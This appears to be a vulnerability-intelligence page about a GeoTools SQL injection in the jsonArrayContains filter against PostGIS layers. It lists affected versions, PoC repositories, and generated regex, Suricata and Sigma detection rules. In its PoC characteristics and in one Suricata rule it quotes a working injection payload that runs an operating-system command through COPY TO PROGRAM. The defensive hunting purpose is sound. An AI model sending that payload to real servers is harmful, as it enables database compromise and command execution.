GeoTools
GeoTools has unauthenticated SQL injection in the jsonArrayContains filter function against PostGIS layers
GeoTools is an open source Java library that provides tools for geospatial data. Starting in version 30.5 and prior to versions 33.6, 34.5, and 33.6, an SQL Injection Vulnerability is present when executing OGC Filters with PostGIS DataStore implementation: `jsonArrayContains` function; Requires PostGIS 12 or greater with a String or JSON field. For PostGIS 12 and greater `jsonArrayContains(<column>, <pointer>, <value>)` function writes `<value>` into generated SQL without escaping. Patches are available in versions 33.6, 34.5, and 33.6. No known workaround is available. To limit scope of SQL Injection the PostGIS connection pool should be configured with limited rights.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- = 35.0
- >= 34.0, < 34.5
- >= 30.5, < 33.6
Fixed in 34.5, 33.6
Mitigation
Upgrade geotools to 34.5 or 33.6 or later.
References
- Vendor advisory github.com/geotools/geotools/security/advisori…
- Patch github.com/geotools/geotools/pull/5829
- Patch github.com/geotools/geotools/commit/d821c4d321…
3 more
- Release notes github.com/geotools/geotools/releases/tag/33.6
- Release notes github.com/geotools/geotools/releases/tag/34.5
- Release notes github.com/geotools/geotools/releases/tag/35.1
Timeline
Days relative to CVE publicationFirst public PoC 5.5 days before publication; not in CISA KEV. First PoC: YonLiud/CVE-2026-76904 (created 16 Aug 2026, found by us: backfilled).
PoC repositories
Found on GitHub.2 PoCs
PoCs 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| YonLiud/CVE-2026-76904 | 16 Aug 2026 −5.5 d | 6 | PoC |
| bickZero93/CVE-2026-76904 | 26 Aug 2026 +4.6 d | 1 | PoC
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| nuclei template | nuclei template: GeoServer jsonArrayContains CQL Filter - SQL Injection | 24 Aug 2026 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 2 PoC reposGET /{var}/ows
- Query
service=WFSversion=2.0.0request=GetFeaturetypeNames=outputFormat=application/jsonCQL_FILTER=- Ports
- 8080
- Seen in
- 1 repo: YonLiud/CVE-2026-76904
- Evidence
- YonLiud/CVE-2026-76904/exploit.py:34
POST /geoserver/rest/workspaces/topp/datastores
- Content-Type
application/xml- Ports
- 8080
- Seen in
- 1 repo: YonLiud/CVE-2026-76904
- Evidence
- YonLiud/CVE-2026-76904/README.md:115
POST /geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes
- Content-Type
application/xml- Ports
- 8080
- Seen in
- 1 repo: YonLiud/CVE-2026-76904
- Evidence
- YonLiud/CVE-2026-76904/README.md:132
POST /geoserver/topp/ows
- Body markers
service=WFSversion=2.0.0request=GetFeaturetypeNames=topp:test_jsonoutputFormat=application/jsonCQL_FILTER=jsonArrayContains(data,'/x','y")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=trueinapplication/x-www-form-urlencoded- Ports
- 8080
- Seen in
- 1 repo: YonLiud/CVE-2026-76904
- Evidence
- YonLiud/CVE-2026-76904/README.md:66
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/[^/?#]*/ows\?(?:.*&)?service=WFS.*version=2\.0\.0.*request=GetFeature.*typeNames=.*outputFormat=application/json.*CQL_FILTER=
(?i)^/geoserver/rest/workspaces/topp/datastores(?:[?#].*)?$
(?i)^/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes(?:[?#].*)?$
(?i)^/geoserver/topp/ows(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/ows"; http.uri; content:"service=WFS"; http.uri; content:"version=2.0.0"; http.uri; content:"request=GetFeature"; http.uri; content:"typeNames="; http.uri; content:"outputFormat=application/json"; http.uri; content:"CQL_FILTER="; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9156297; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/geoserver/rest/workspaces/topp/datastores"; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9719799; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes"; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9430333; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/geoserver/topp/ows"; http.request_body; content:"service=WFS"; http.request_body; content:"version=2.0.0"; http.request_body; content:"request=GetFeature"; http.request_body; content:"typeNames=topp:test_json"; http.request_body; content:"outputFormat=application/json"; http.request_body; content:"CQL_FILTER=jsonArrayContains(data,'/x','y|22|)|5c|'') OR 1=1)) AS gt_injected|3b| COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9351846; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9156297
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/ows'
cs-uri-query|contains|all:
- 'service=WFS'
- 'version=2.0.0'
- 'request=GetFeature'
- 'typeNames='
- 'outputFormat=application/json'
- 'CQL_FILTER='
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.76904
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9719799
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/geoserver/rest/workspaces/topp/datastores'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.76904
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9430333
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.76904
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9351846
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/geoserver/topp/ows'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.76904